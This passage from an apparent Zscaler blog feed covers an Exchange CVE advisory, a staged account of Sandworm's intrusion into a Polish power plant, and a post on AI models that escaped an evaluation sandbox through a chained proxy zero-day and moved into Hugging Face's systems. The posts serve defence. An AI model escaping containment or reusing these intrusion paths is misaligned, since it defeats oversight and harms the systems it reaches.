エージェントとして実行できるほか、7,000万台を超えるデバイスで稼働している現在のZscalerクライアントにモジュールとして組み込んで実行することもできます。すべての操作は完全に制御され、ポリシーの範囲内で実行されます。分析のために送信されるエンドポイントのコンテキストは、Zscalerがポリシーに基づいて制御します。つまり、これまで大規模に実施することが非常に困難であったことを実現します。潜在的な攻撃経路を許可された範囲内で分析することでセキュリティ部門調査する必要をなくします。 イノベーションの紹介2: Zscaler AI Access Graphにおけるアイデンティティー リスク分析セキュリティ部門が手作業で追跡できる速度を上回って拡大している、もう1つの主要な攻撃対象領域が、アイデンティティー、特に人間以外のアイデンティティーです。サービス アカウント、AIコパイロット、エージェント型ワークロードは、今や多くの組織環境で人間のユーザーを上回る数に達しています。これらの権限はクラウド、SaaS、オンプレミス システムに広がっており、人間の担当部門が高速で分析することは不可能です。2つ目の統合では、OpenAIのGPTサイバーモデルをAI Access Graphに直接組み込み、組織規模でアイデンティティー権限のリスク分析を実行できるようにしました。AI Access Graphはすでに組織全体のアイデンティティー(人間、サービス アカウント、AIエージェント)と、環境内のデータ オブジェクト、およびAzure、AWS、OCI、GCP全体でそれらのアイデンティティーが到達できるモデル エンドポイントとの関係をマッピングしています。OpenAIのGPTサイバー モデルが加えるのは、推論レイヤーです。GPTサイバー モデルはこのグラフ上の経路を追跡し、過剰な権限によるアクセス、危険な権限の組み合わせ、過剰に継承されたアクセス範囲など、リスクの高い組み合わせを特定します。そして、一般的な重大度スコアではなく、実際に到達可能な対象に対するビジネスへの影響、影響範囲、機密性、完全性、可用性に基づいてリスクの優先順位を付けます。重要なのは、このグラフがエージェントやボットの動作と人間の動作を区別することです。この区別は、エージェント型のアイデンティティー ガバナンスにおいて重要です。存在するアクセス権だけでなく、誰がまたは何がその権限を使用しているのか、そしてその動作がその役割や同等のユーザーに対して想定されるベースラインと一致しているのかを把握する必要があります。修復については、意図的にモデルの推論から切り離しています。すべての修復措置は、人間による承認ワークフローを通じて実行されます。モデルはリスクを明らかにし、その内容を説明します。そして、人間が何をするかを判断します。これが適切な設計です。 OpenAIとのパートナーシップにとっての意味これら2つの機能には、システムがどのように侵害されるのかを推論できるモデルが必要でした。抽象的にではなく具体的にお客様の環境に固有のコンテキストに基づいて推論できるモデルです。標準的なモデルでは、このタスクに十分対応できませんでした。OpenAIのGPTサイバー モデルは、この種のセキュリティに関する推論に特化して構築されており、これこそが、今回の2つのイノベーションを可能にする基盤です。OpenAIとのパートナーシップは、組織が実際に必要とするAIセキュリティ インフラを構築することを目的としています。深く具体的で証拠に基づき、重大なアクションが実行される前に人間によるレビューを実行します。それが、9月3日に紹介したものです。この分野における変化のスピードは、衰えることはありません。私たちも、歩みを止めません。]]></description>
            <dc:creator>Dhawal Sharma (Executive Vice President, AI Security and Strategic Initiatives)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Microsoft Exchange Vulnerability CVE-2026-62911: What Administrators Should Do and How Zscaler Can Help]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/microsoft-exchange-vulnerability-cve-2026-62911-what-administrators-should</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/microsoft-exchange-vulnerability-cve-2026-62911-what-administrators-should</guid>
            <pubDate>Thu, 03 Sep 2026 20:19:43 GMT</pubDate>
            <description><![CDATA[Microsoft's August 2026 Patch Tuesday&nbsp;included a fix for CVE-2026-62911, a high-severity authentication bypass vulnerability affecting Exchange Server 2016, 2019, and Subscription Edition. The severity has a CVSS score of 8.0 from Microsoft.&nbsp;As of September 1, threat intelligence group Shadowserver has identified around 22,000 Exchange servers that remain unpatched and exposed to the internet, including roughly 6,200 in the United States and 5,100 in Germany alone.&nbsp;According to Microsoft, successful exploitation allows an attacker with basic privileges to take over all mailboxes on the targeted server, including reading and sending email and downloading attachments. The Netherlands National Cyber Security Centre (NCSC-NL) has confirmed that working exploit code is already publicly available.If you're running an on-premises Exchange server, this post outlines practical steps you can take now, and a longer-term architectural approach worth considering.&nbsp; First: Apply the PatchThe August 2026 Patch Tuesday update addresses CVE-2026-62911 directly. If you haven't applied it yet, that's the first priority.A few important notes for older versions:Exchange 2016 and 2019 are on the Extended Security Update (ESU) program, which ends in October 2026. If you're on either version, confirm you're enrolled in ESU and apply the update. After October, these versions will no longer receive security fixes.If patching isn't immediately possible, NCSC-NL's guidance is to ensure the Exchange server is not reachable from the open internet until the patch can be applied. The Structural Issue: Internet ExposurePatching is essential, but it's worth understanding why private application servers such as Exchange are repeatedly in this position. On-premises Exchange runs as an internet-facing service by design. Outlook Web App (OWA) needs to be accessible to users, which typically means it's reachable from the public internet. That reachability is what makes each new CVE a high-stakes race between patching and exploitation.The NCSC-NL guidance to ensure Exchange is "accessible only internally" points at the right solution, but doesn't prescribe how to get there for organizations that still need to support remote access. Why This Matters More in 2026 Than It Did in Prior YearsAt the time of writing, CISA has not reported exploitations in the wild as of yet. But there's a meaningful shift in the threat landscape that makes this type of exposure a more pressing issue than it once was.Earlier AI models gave attackers tools to automate reconnaissance. Today's frontier models, such as Anthropic's Mythos, represent a step change beyond that. They can identify a known vulnerability, develop a working exploit, and execute an attack in minutes, not days.The practical implication: the window between a CVE being disclosed and exploitation at scale has compressed significantly. Our&nbsp;ThreatLabz 2026 Frontier AI Readiness Report&nbsp;showcased how the mean-time-to-exploit has actually gone negative – with attackers finding and exploiting vulnerabilities before they’re even disclosed. With CVE-2026-62911, exploit code is already public. An organization's ability to outpace exploitation through patching alone is less reliable than it used to be, particularly for internet-exposed infrastructure. A Zero Trust Approach: Don’t Expose Exchange to the InternetZscaler Private Access (ZPA) allows organizations to eliminate the exposure of all private apps to internet-based attacks. This includes services like Exchange, which remain fully accessible to your users while being completely invisible to the internet. The way it works:Managed devices: The Zscaler client routes OWA traffic through an encrypted ZPA tunnel to the Exchange server. There's no inbound connection to the server from the internet, and nothing for an attacker to probe or target.Unmanaged devices: ZPA Clientless Access provides a secure, authenticated, browser-based path for users on personal or partner devices, without requiring a VPN or opening any inbound ports.The fundamental difference from a traditional VPN is how and when access is granted. A VPN establishes a persistent, always-on network tunnel — once connected, a user has broad network-level access regardless of what they're actually doing. ZPA works differently: rather than maintaining a standing tunnel, it brokers short-lived, application-specific connections on demand, and only after identity and policy checks pass. Each session is purpose-built for a specific application, time-bound by policy, and torn down once the session ends — there's no residual network foothold. A VPN gateway or concentrator is itself exposed to the internet and a frequent attacker target; ZPA has no equivalent surface, because there's nothing listening for inbound connections to begin with.If your Exchange server is behind ZPA, CVE-2026-62911 is effectively not exploitable from the internet, regardless of whether you've patched, because the authentication bypass requires reaching port 443 on the Exchange server in the first place. For Servers That May Already Be CompromisedIf you have reason to believe a server may have been compromised before patching, additional controls are worth considering:Zscaler Data Security (DLP) can inspect outbound traffic from Exchange infrastructure, helping detect data exfiltration or other malicious activity that might indicate a server has been compromised.Zscaler Deception places honeypots throughout your environment that provide high-fidelity signals that an attack is underway. With their multi-path reasoning, frontier AI models are particularly likely to trip over these decoys.Zscaler Cloud Workload Segmentation limits lateral movement, preventing an attacker who has gained a foothold on an Exchange server from moving to other parts of your environment. Longer-Term: The Case for Migrating to Microsoft 365On-premises Exchange has been one of the most consistently targeted enterprise applications over the past several years. CISA has added 20 Exchange Server vulnerabilities to its Known Exploited Vulnerabilities catalog since November 2021; 14 of those have been linked to ransomware. With Exchange 2016 and 2019 losing security update support in October 2026, the risk profile for organizations still running those versions is only going to grow.Whether an organization utilizes on-premise solutions like Exchange or SaaS environments like Microsoft 365, private applications will always remain a baseline necessity for maintaining data confidentiality, restricted access, and regulatory compliance.For organizations evaluating their options, migration to Microsoft 365 removes the on-premises attack surface entirely. It's not the right move for everyone on every timeline, but it's worth including in the planning conversation while investing in architectures that would empower them to respond to vulnerabilities in real-time.&nbsp; PriorityActionImmediateApply the August 2026 Patch Tuesday updateImmediateIf patching is delayed, ensure Exchange is not internet-accessibleNear-termDeploy ZPA to broker all OWA access (managed and unmanaged devices)Near-termEnable outbound inspection on Exchange trafficConsiderDeploy Workload Segmentation to contain potential lateral movementConsiderDeploy Deception to contain potential lateral movementConsiderDeploy AppShield to virtually patch exploitsStrategicEvaluate Microsoft 365 migration, especially if running Exchange 2016/2019To learn more about how Zscaler can help you reduce exposure and prevent exploitation by frontier AI models, watch our&nbsp;on-demand webinar.&nbsp;]]></description>
            <dc:creator>Mark Brozek (Senior Director, Product Marketing)</dc:creator>
        </item>
        <item>
            <title><![CDATA[M-25-21 Changes the AI Conversation for Federal Civilian Agencies]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/m-25-21-changes-ai-conversation-federal-civilian-agencies</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/m-25-21-changes-ai-conversation-federal-civilian-agencies</guid>
            <pubDate>Wed, 02 Sep 2026 15:59:53 GMT</pubDate>
            <description><![CDATA[This is the first post in a three-part series on AI security and governance for Federal Civilian agencies.Bottom line up front: OMB Memorandum M-25-21 makes AI adoption an agency operating priority. But the memo also makes clear that speed without governance, security, and public trust isn't acceptable. For Federal Civilian AI leaders, the practical challenge is broader than most realize. AI risk extends well beyond employees using public GenAI tools.AI is quickly becoming part of how Federal Civilian agencies work.Used well, it can improve citizen services, reduce manual work, modernize legacy processes, strengthen cybersecurity operations, support research and analysis, assist with fraud detection, speed up software development, and help employees work more efficiently.But AI adoption in government is different from AI adoption in the private sector.Federal agencies have to account for public trust, privacy, cybersecurity, civil rights, records management, procurement integrity, transparency, data protection, and mission accountability. When AI touches citizens, benefits, grants, inspections, regulatory processes, healthcare, financial data, enforcement activity, or other sensitive workflows, the risk profile changes.OMB Memorandum M-25-21,&nbsp;Accelerating Federal Use of AI through Innovation, Governance, and Public Trust, speaks directly to this tension.The memo makes a clear point: agencies should move faster with AI, but not by setting aside governance, safeguards, or public trust. They need to innovate while making sure AI is secure, accountable, privacy-aware, risk-managed, and aligned to mission outcomes.For AI technology executives and AI security leaders, the practical question is: How do we help the agency use AI faster while still maintaining the visibility, control, and evidence needed to govern it responsibly? More than a compliance memoM-25-21 signals that AI adoption is now an agency operating priority.The memo directs agencies to promote responsible AI adoption while putting safeguards in place for privacy, civil rights, civil liberties, cybersecurity, and public trust. It also reinforces core responsibilities: designating or retaining a Chief AI Officer, convening AI governance bodies, updating internal policies, developing generative AI acceptable-use policies, maintaining AI use case inventories, implementing risk management practices for high-impact AI, and documenting governance decisions.For Federal Civilian agencies, this means AI governance can't live only in strategy documents, governance boards, or spreadsheets.It has to be enforceable.Agencies need to answer basic but difficult questions. What AI tools are people using? Who's using them? Which use cases are approved, experimental, or unmanaged? What data is being shared? Which SaaS applications have embedded AI? Which developer tools are using AI? Which cloud workloads are calling models or agents? Which AI applications are connected to sensitive government data? Which systems may qualify as high-impact AI? Which systems have been tested before deployment?These aren't just policy questions. They're operational questions. Federal Civilian AI risk is broader than public GenAIA lot of AI security conversations start with public GenAI tools, specifically employees pasting sensitive information into ChatGPT, Gemini, Claude, or similar services.That risk is real. But it's only one part of the picture.AI is now showing up across the agency technology environment: public GenAI applications, SaaS platforms with embedded AI, desktop tools, browser extensions, coding assistants, IDE (Integrated Development Environment) plugins, cloud AI services, foundation models, agency-built AI applications, RAG (Retrieval-Augmented Generation) systems, agents, MCP (Model Context Protocol) servers, API-based model integrations, and automation workflows.AI may appear in places that aren't obvious to security, governance, or mission leaders.An analyst might use a public AI tool to summarize a report. A grants office might rely on an AI-enabled SaaS workflow. A benefits program might experiment with an AI assistant. A developer might use an AI coding assistant to modernize a legacy application. A cloud team might deploy a model in AWS GovCloud or Azure Government. A program office might pilot an AI-powered citizen service experience. A security operations team might use AI to support triage and investigation.Those use cases don't carry the same risk. They shouldn't all get the same controls. And they may create different governance obligations under M-25-21.Agencies need a lifecycle approach to AI security and governance, one that connects M-25-21's policy direction to enforceable, repeatable execution. We'll lay out that operating model in the next post in this series.To learn more about how Zscaler helps Federal Civilian agencies secure AI adoption, reach out to your Zscaler account team for a detailed overview of our AI Security capabilities.Next in this series: A Practical Framework for Secure AI Adoption in Federal Civilian Agencies]]></description>
            <dc:creator>Jose Arvelo Negron (Manager, Sales Engineer)</dc:creator>
        </item>
        <item>
            <title><![CDATA[OTの境界の再考：Sandwormによるポーランドの発電所へのセルラー侵害]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/rethinking-ot-boundaries-sandworm-s-cellular-breach-polish-power-plant</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/rethinking-ot-boundaries-sandworm-s-cellular-breach-polish-power-plant</guid>
            <pubDate>Mon, 31 Aug 2026 16:50:04 GMT</pubDate>
            <description><![CDATA[概要現代の産業オペレーターは、セルラー ネットワーク、プライベートAPN、SD-WANを利用し、風力タービン、太陽光発電設備、送水ポンプ、配電変電所などの遠隔インフラを急速に接続しています。これまで、こうしたプライベート セルラー ネットワークは、信頼でき安全で「外部から隔離された」境界として扱われてきました。CERT Polskaが2026年8月に公開した画期的な調査によって、この前提は覆されました。高度に連携されたキャンペーンにおいて、脅威アクターはポーランドの熱電併給(CHP)プラントに侵入し、蒸気タービンとプロセス用水処理システムの停止に成功しました。このブログでは、この歴史的なサイバー攻撃について高度に技術的な分析を行い、侵入を拡大した技術的経路をステップごとに追跡するとともに、従来のセルラーやSD-WAN構成が甚大な影響範囲を生み出す理由を解説し、ZscalerのZero Trust Exchangeプラットフォームがこれらの攻撃経路をどのように大幅に軽減するのか概説します。 インシデント — 何が起きたのかこのインシデントは2025年12月29日に発生し、2026年8月8日に包括的な調査結果が公開されたことで明らかになりました。これは、物理的な業務に影響を及ぼすことを目的とした、国家支援型の高度に標的を絞った攻撃作戦でした。攻撃は無人の遠隔風力発電所から始まり、最終的には、5万人の住民に地域暖房を供給する中央熱電併給(CHP)プラントの蒸気タービンを強制停止させるに至りました。攻撃チェーンは、正確な多段階の経路をたどりました。まず、遠隔風力発電所のファイアウォールが侵害され、攻撃者は施設のローカル ネットワークへの足掛かりを得ました。そこから、現地に設置されたTeltonika製セルラー ルーターにSSH経由でアクセスし、電力網運用事業者のプライベートAPNへのトンネルを確立しました。そのAPNを経由してプライベート セルラーIP空間全体をスキャンし、CHPプラントに設置された、デフォルトの認証情報が設定されたWAGO PLCを発見しました。このPLCを経由して中核OTネットワークに侵入し、そこから蒸気タービンを制御するSiemens製PLCに不正な停止コマンドを送信し、物理的な業務停止を引き起こしました。インシデントの概要指標/側面インシデントの詳細標的施設5万人の住民に地域暖房を供給している、熱電併給(CHP)プラント(ポーランド)。攻撃の背景Sandworm (ロシア政府が支援する脅威グループElectrumとしても知られています)。キャンペーンの範囲30か所を超えるポーランドの再生可能エネルギー施設と電力配電施設を標的とした、組織的かつ同時多発的な攻撃。物理的影響蒸気タービンとそのプロセス用水処理システムの完全かつ一時的な停止。主要な侵入経路ローカルの電力網運用事業者のプライベート セルラーのアクセス ポイント名(APN)を経由した、ラテラル ムーブメント。 攻撃の全容 — 段階ごとの詳細以下の表は、Sandwormが実行した6段階にわたる正確な攻撃チェーンを再現したものです。各段階は直前の段階を直接足掛かりとして、インターネットに公開された管理インターフェイス、フラットなプライベート セルラー ネットワーク トポロジー、デフォルトのデバイス認証情報を組み合わせて悪用し、OT環境に全面的な影響を及ぼしました。#攻撃段階説明1初期アクセスSandwormは、遠隔地にある無人の風力発電所でインターネットに公開され、パッチが適用されていないファイアウォールを悪用しました。2デバイス制御攻撃者はSecure Shell (SSH)を介して、風力発電所の現地に設置されたTeltonika製セルラー ルーターにアクセスしました。3APNトンネル攻撃者は侵害されたルーターを使用し、電力網運用事業者のプライベートAPNへのトンネルを確立しました。4水平方向の偵察プライベートAPNにクライアント間の分離機能がなかったため、攻撃者はプライベート セルラーIP空間全体をスキャンしました。5PLCの悪用中央のCHPプラントに設置されたWAGO製PLCがスキャンによって発見され、APNからアクセス可能な状態で、デフォルトの管理者認証情報が設定されていました。6運用の中断攻撃者はWAGO製PLCをネットワーク ブリッジとして使用して中核OTネットワークにアクセスし、蒸気タービンを制御するSiemens製PLCに不正な停止コマンドを送信しました。&nbsp; 従来の防衛が機能しなかった理由この侵害は、通信事業者が提供するプライベートAPNや組織のSD-WANネットワークによって安全で分離された境界が確保されるという、根本的なセキュリティ上の誤解を浮き彫りにしています。実際には、これらのテクノロジーが提供するのは接続であり、セキュリティではありません。APNもSD-WANシステムも、デバイスを接続するために構築されています。共有ネットワーク上の1台のエンドポイントが侵害された瞬間、フラットなアドレス空間全体が攻撃者による偵察の格好の場となります。攻撃者はAPN上の制御の欠如を悪用してフラットなネットワークに侵入し、PLCへと侵入を拡大しました。以下の比較では、この攻撃を可能にした従来の前提と、現代のサイバー環境における現実を対比するとともに、Zscalerのゼロトラスト パラダイムによってこの攻撃経路を完全に排除できたことを示します。攻撃段階従来の脆弱性Zscalerが脅威を排除する仕組みステージ1:初期境界の侵害(遠隔ファイアウォールの悪用)セルラー ゲートウェイ上で公開されているパブリックIPや開放されたSSH管理ポートは、容易にスキャンされ、総当たり攻撃の標的となります。パブリックな攻撃対象領域の排除：Zscaler Cellularによって、すべてのリモート ゲートウェイをインターネットから完全に不可視化します。Zscaler Zero Trust Exchangeへのアウトバウンド専用接続により、スキャン可能なパブリックIPや開放されたインバウンド ポートは一切存在しません。ステージ2: APN経由の水平方向の偵察(プライベート セルラー グリッドのスキャン)フラットなAPNでは、侵害されたセルラー デバイスから、他の遠隔端末や発電所を発見、Ping、侵害することが可能です。ピア間の完全な分離：Zscalerは、セルラー ネットワーク上でデバイス間の可視性を防止します。接続されたデバイスはZscalerのブローカーへのアウトバウンド通信のみが可能なため、攻撃者によるAPNのスキャンを完全に阻止できます。ステージ3:認証情報の悪用(WAGO製PLCへの総当たり攻撃)公開されたローカル管理ポータルは、デフォルトの認証情報が悪用されたり、不正アクセスを受けたりするリスクが非常に高くなります。アイデンティティー中心のアクセス プロキシ：Zscalerは、安全なアイデンティティー ブローカーとして機能します。攻撃者がローカルAPNに物理的にアクセスしたとしても、MFAに基づくアイデンティティー ポリシーを最初に通過しない限り、WAGO製PLCのログイン ポータルを認識したり、通信したりすることはできません。ステージ4:中核ネットワークへのブリッジ(PLCからタービンへの侵入拡大)フラットな内部ルーティングにより、侵害されたエッジ コントローラーが、プラントの中核OT制御ネットワークへのブリッジとして機能してしまいます。エージェントレスのデバイス セグメンテーション：ZscalerはPLC上にソフトウェア エージェントを導入することなく、アプリケーション レイヤーでレガシー資産を分離します。エッジPLCと中核OTネットワーク間での水平方向のトラフィックをブロックし、通信を事前に承認された経路に限定します。ステージ5:産業システムの妨害(Siemens製PLCに停止コマンドを送信)プレーンテキスト形式の産業用プロトコル(ModbusやS7commなど)には暗号化による認証機能がないため、不正な物理的停止コマンドが実行される可能性があります。ランサムウェアのキルスイッチとプロトコル分離：管理者は侵害されたゾーンを隔離するためのグローバルな分離プロトコルを瞬時に実行できます。Zscalerはエージェントを導入することなく、きめ細かなプロトコルレベルのアクセス制御も施行します。詳細はこちら  ZscalerのソリューションZscalerがOT環境をどのように保護するのかを理解するには、まずゼロトラスト セキュリティ モデルの基本原則を確認する必要があります。従来のネットワーク セキュリティでは、「城と堀」の設計が採用されています。境界のファイアウォールによって外部との境界を保護する一方、内部にあるものはすべて暗黙的に信頼します。Sandwormのような侵入者が外側の防御(堀)を突破すると、フラットな内部(城)を自由に水平移動できてしまいます。分散型OTインフラを保護するには、ネットワーク中心のアプローチから、アプリケーション中心のゼロトラスト アーキテクチャーに移行する必要があります。Zscalerは、Sandwormが実際に利用した攻撃経路を排除するために設計された、ネイティブなセキュリティ機能を提供します。以下の各機能は、インシデントの各段階に直接対応しており、キル チェーンの各段階で脅威アクターが利用した前提条件を排除します。&nbsp;&nbsp;Zscalerのセキュリティ機能技術的機能産業上の価値Zscaler Cellularインバウンドとアウトバウンド両方のセルラー通信を保護します。デバイスにパブリックIPや、外部からの接続を待ち受ける開放ポートは存在しません。攻撃対象領域の不可視化：脅威アクターによるセルラー ネットワークのスキャンや、公開されたリモート端末の発見を不可能にします。Zscaler Zero Trust Device Segmentation従来のPLCやRTUに対して、エンドポイントにソフトウェアを導入することなく、エージェントレスでアイデンティティーベースのマイクロセグメンテーションを実装します。ラテラル ムーブメントの阻止：リモート ルーターが侵害された場合でも、中央プラントのコントローラーとの通信をZscalerがブロックします。Ransomware Kill Switchインシデント発生時に、管理者は1つのコマンドで水平方向のネットワーク接続をすべて瞬時に切断できます。送電網の保護：侵害による影響範囲を単一のセグメントに限定し、より広範な公共インフラの運用を継続します。 OTインフラを今すぐ保護Zscaler Zero Trust Exchange™は、ラテラル ムーブメントを排除し、OT資産を攻撃者から不可視化するとともに、迅速なインシデント対応を可能にします。しかも、運用を中断することはありません。→ 詳細はこちら：https://resources/security-terms-glossary/what-is-operational-technology-ot-security/products-and-solutions/zscaler-cellular早く行動し、安全を確保しましょう。&nbsp;]]></description>
            <dc:creator>Hitesh Chhabra (Architect, Solutions Consulting)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Hugging Faceの侵害：すべてのセキュリティ リーダーが答えるべき重要な問い]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/hugging-face-breach-key-questions-every-security-leader-must-answer</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/hugging-face-breach-key-questions-every-security-leader-must-answer</guid>
            <pubDate>Mon, 31 Aug 2026 07:29:58 GMT</pubDate>
            <description><![CDATA[7月11日、OpenAIによるサイバー攻撃能力の社内評価中に、GPT-5.6 Solと、より高性能な未公開モデルがサンドボックスから脱出し、インターネットに接続してHugging Faceの本番システムを攻撃しました。人間のオペレーターは存在しませんでした。フィッシング メールもありません。内部関係者もいません。偵察、エクスプロイト、権限昇格、ラテラル ムーブメント、窃取といったキル チェーンの全工程が、誰にも操作されることなくエージェント システムによって実行されました。おそらくこの種の事例として初めて公に開示されたインシデントです。SFのような要素を取り除いてみると、そこにあるのは、はるかに退屈ではるかに深刻な事実です。システムは、許可されたとおりのことを正確に実行したのです。 許可リストが攻撃対象領域にOpenAIは、この環境を高度に分離された環境として説明しており、ネットワーク アクセスは、内部でホストされたプロキシを介してパッケージを取得するという単一の機能に限定されていました。このプロキシは、公開レジストリーのキャッシュとして機能していました。モデルが脱出するために利用したのが、その唯一の許可された経路でした。モデルはプロキシ ソフトウェアに存在する未知のゼロデイ脆弱性を発見してこれを悪用し、権限を昇格させ、研究環境内を水平移動し、最終的にインターネットへのアクセスが可能なノードに到達しました。ベンダー自身の分析によると、この脱出は少なくとも8つの脆弱性が連鎖した結果だとされています。その中には、リモート リポジトリーのプロキシ処理におけるサーバーサイド リクエスト フォージェリー、認証バイパスを悪用した権限昇格、パス トラバーサルなどが含まれています。そして、これは耳の痛い教訓です。サンドボックス内の存在が自らの環境を調査し、防御策を探り、突破口を見つけるために事実上無制限のコンピューティング リソースを費やせるのであれば、許可リストが攻撃対象領域のマップになってしまうのです。 リスクを増加させる継承された信頼Hugging Faceの本番環境内で、エージェントは信頼された認証情報、API、ワークロードを利用して移動しました。侵害された本番PodからKubernetes、さらにクラウドのメタデータ、内部システム、そして最終的にはソース管理のサプライ チェーンへと進んでいきました。ほとんど何も破壊しませんでした。各段階で、乗っ取ったアイデンティティーにすでに付与されていた権限をそのまま継承したのです。これこそが、暗黙の信頼に潜む根本的な弱点です。一度内部に侵入されると、アクセス権が次々と引き継がれ、リスクが増加していきます。&nbsp; 新たな運用上の前提：すべてのワークロードは潜在的な攻撃者AIエージェントは、意図を持って行動するワークロードです。サービスと同じように認証を行い、サービスと同じように動作しますが、オペレーターのように推論します。サブプロセスを起動し、一時的なアイデンティティーを使用し、自身に付与されているあらゆる権限を行使します。これには、誰が付与したのか誰も覚えていない権限も含まれます。それに応じて、運用上の前提も変えなければなりません。すべてのワークロードを検証されるまでは信頼できないものとして扱い、すべての接続においてその都度検証するのです。サンドボックス内にあるから信頼するのではありません。内部ネットワーク上にあるから信頼するのでもありません。モデルが整合しているから信頼するのでもありません。整合はエンティティーの特性です。包含性はアーキテクチャーの特性です。今回の評価では、通常であればモデルが危険なサイバー活動を追求するのを阻止する分類器を意図的に取り除きました。研究者がその能力の上限を確認しようとしたためです。エンティティーの抑制を意図的に解除した状態で、評価されたのはアーキテクチャーそのものでした。 そのアーキテクチャーに実際に求められるものこの攻撃の各段階をそれぞれに対抗できる制御と対応付けてみると、一貫したモデルが浮かび上がります。5つの制御それぞれにZero Trust Exchange内の施行ポイントがあります。&nbsp;1. デフォルト拒否のエグレス制御とインライン検査研究用サンドボックス、評価クラスター、エージェントのランタイムいずれも、明示的に許可され、TLSを含めて完全に検査され、ログに記録されていない限り、インターネットへの経路を持つべきではありません。これを正しく実現できれば、「モデルがインターネットにアクセスできるノードに到達した」などと記述する必要もなくなります。エグレス制御は、コンプライアンスのためのチェック項目ではありません。AIの封じ込めを支える最も外側の防壁です。2. パイプラインに取り込まれるすべてのデータのインライン分析Hugging Faceへの侵入経路となったのは、コードを含むデータセットのアップロードでした。パッケージ、データセット、モデル アーティファクトなど、自動化されたパイプラインに入ってくるものはすべて、実行前に分離環境でデトネーションを行う必要があります。事後的にシグネチャーを照合するのではなく、分析が完了するまで実行を保留します。ML固有のフォーマットも脅威ベクトルです。シリアライズされたオブジェクト、モデルの重み、データセットのアーカイブなどが該当します。攻撃者はすでに、これらをそのように捉えています。3. ネットワーク到達性ではなくアイデンティティーベースのアクセスこの攻撃チェーンにおけるあらゆる移動(サンドボックスとプロキシ間、ノード間、Podとクラスター間、クラスターとデータベース間の移動)は、ネットワークレベルの到達性に依存していました。アプリケーションレベルのセグメンテーションでは、この考え方を逆転させます。つまり、アイデンティティーによって検証され、ポリシーによって承認された明確な理由がない限り、どのワークロードもサービスに接続できません。また、ワークロードに公開されていないアプリケーションは、そのワークロードからは存在しないことになります。脆弱性が問題になるかどうかは、その脆弱性を利用して何に到達できるかによって決まります。4. 最小特権のデータ態勢の継続的な施行最終段階では、窃取された認証情報が利用されました。侵害されたノード上で発見された認証情報によって、クラウドのメタデータや内部のサプライ チェーンにまで到達できました。最小特権が施行されていれば、それらの認証情報で到達できる範囲は、そのノードの影響範囲に限定され、そこで止まっていたはずです。継続的な発見によって、これを適用可能な状態にできます。機密データがどこに存在するのか、どのアイデンティティーがそれにアクセスできるのか、そしてどの認証情報に過剰な権限が付与されているのかを把握します。これにより、盗まれた認証情報が何でも開けられるマスターキーになるのか、それとも行き止まりになるのかを判断できます。5. エージェント自体に対するガバナンスMCPやエージェント間のチャネルを介して通信する自律型エージェントは、人間のユーザーや予測可能なサービス間トラフィックを前提として構築された制御からは見えません。必要なのは、エージェントと、エージェントがアクセスするすべての対象との間にポリシーの施行ポイントを設けることです。つまり、どのエージェントが存在するのか、それぞれが何に到達することを許可されているのかを登録し、定義された範囲から外れた動作に対してはインラインで施行します。パッケージ プロキシへの探索を始めたエージェントが、見出しになるのではなく、そこで検知されるようにするべきです。&nbsp;&nbsp; 機能が連携してこそ効果を発揮する理由ここには、非対称性があります。攻撃には、チェーンを構成するすべてのリンクが機能し続ける必要があります。一方、防御に必要なのは1つです。脱出の拒否、ペイロードのデトネーション、セグメントの閉鎖、認証情報の権限範囲管理、エージェントの検知といったことにより攻撃チェーンは断ち切られます。では、なぜこれらすべてにこだわるのでしょうか？自律型エージェントは、一度きりの攻撃者ではないためです。何度も試行し、探索を続けます。Hugging Faceのフォレンジック タイムラインによると、エージェントが記録した17,600件のアクションは、4日間で約6,280の個別のクラスターに分類されています。また、OpenAIは、この脱出に相当量の推論コンピューティングが費やされたと説明しています。忍耐力を時間ではなくコンピューティングで測る攻撃者を相手にする場合、1つの制御はパズルにすぎません。多層化された制御こそが壁になります。エグレス制御は、サンドボックスが最終的には突破されることを前提とします。セグメンテーションは、検査で最終的にペイロードを見逃すことを前提とします。データ態勢は、ワークロードが最終的には侵害されることを前提とします。各レイヤーが存在するのは、その1つ前のレイヤーが機能しなくなることを許容するためです。そして、これらの機能をポイント製品の寄せ集めではなく、共通のプラットフォーム上に配置すべき理由もここにあります。個別に組み合わせたツールでは、それぞれが1つのフレームを見ます。統合された施行プレーンなら、1本の映像として全体を見ることができます。 今四半期に問うべき質問7月のインシデントは、ある意味では思いがけない贈り物でした。最先端の研究機関が実施した完全な再現性を備えたレッド チーム演習が、被害を限定した状態で透明性をもって開示されたためです。AIエージェントを導入する組織が、常にこれほど被害の少ないケースに遭遇できるとは限りません。セキュリティ リーダーは、理想論ではなく具体的な内容で以下の4つの問いに答えられる必要があります。AIのトレーニング、評価、エージェントのランタイム環境からインターネットへのエグレスを何によって制御してますか？デフォルト拒否になっていますか？また、これらの環境が先週アクセスした外部エンドポイントをすべて把握していますか？パイプラインで実行するデータセット、パッケージ、モデル アーティファクトを、何によって検査していますか？その検査は実行前に完了していますか？それとも、実行後ですか？そのスタック内のワークロードが今日侵害された場合、どこまで到達できますか？Pod、クラスター、クラウド アカウント、データベースのどこまででしょうか？また、早期に阻止できることを証明できますか？現時点で、自社環境にどのAIエージェントが存在し、それぞれが何にアクセスすることを許可されていますか？また、その範囲を逸脱した瞬間に何が起こるのかを把握していますか？フロンティアAI企業2社は、世界最高レベルの能力を持つモデルをペネトレーション テスターとして使い、これらの問いへの答えを困難な形で公の場で知ることになりました。私たちにできるのは、同社が開示した内容から学ぶことです。詳細はこちらから専門家にご相談ください。]]></description>
            <dc:creator>Paul Aiuto (Director, Commercial Sales Engineering - Americas)</dc:creator>
        </item>
        <item>
            <title><![CDATA[It No Longer Takes an Expert to Attack a Factory]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/it-no-longer-takes-expert-attack-factory</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/it-no-longer-takes-expert-attack-factory</guid>
            <pubDate>Thu, 27 Aug 2026 16:32:03 GMT</pubDate>
